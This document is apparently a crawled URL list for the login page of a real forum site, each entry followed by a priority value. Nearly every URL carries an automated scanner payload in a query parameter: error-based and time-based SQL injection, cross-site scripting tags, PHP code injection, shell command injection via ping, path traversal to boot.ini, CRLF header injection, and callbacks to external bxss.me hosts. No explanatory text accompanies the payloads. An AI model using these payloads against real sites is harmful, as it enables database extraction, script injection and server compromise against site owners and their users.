http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%2031=27%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%2089=89%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(43=36)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%2527%20AND%2017=17%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%2527%20AND%2074=11%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%20'b1'='k5 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%20'q4'='q4 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20OR%20'Z8'='Z8'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(27=37)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20'2a'='2a 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20'Jh'='Jh 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%2036=36%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%2071=63%20AND%20('dX'='dX 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=23)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20('xN'='xN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=98)%20THEN%20'http%3A%2F%2Fwww.cncml.com%2F.%2F'%20ELSE%200x28%20END))%20AND%20('yq'='yq 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F';%20IF(31=82)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F';%20IF(92=92)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F);%20IF(41=76)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F);%20IF(78=78)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2FAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2FJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2Falert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2Fe360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(16=96)*1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(41=41)*1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(11=21)%20THEN%201%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(11=42)%20THEN%201%20ELSE%2011*(SELECT%2011%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%201%20ELSE%2019*(SELECT%2019%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(23=23)%20THEN%201%20ELSE%2023*(SELECT%2023%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(31=32)%20THEN%201%20ELSE%2031*(SELECT%2031%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(33=98)%20THEN%201%20ELSE%2033*(SELECT%2033%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(36=46)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%201%20ELSE%2051*(SELECT%2051%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(53=53)%20THEN%201%20ELSE%2053*(SELECT%2053%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(63=85)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(64=99)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(74=33)%20THEN%201%20ELSE%2074*(SELECT%2074%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 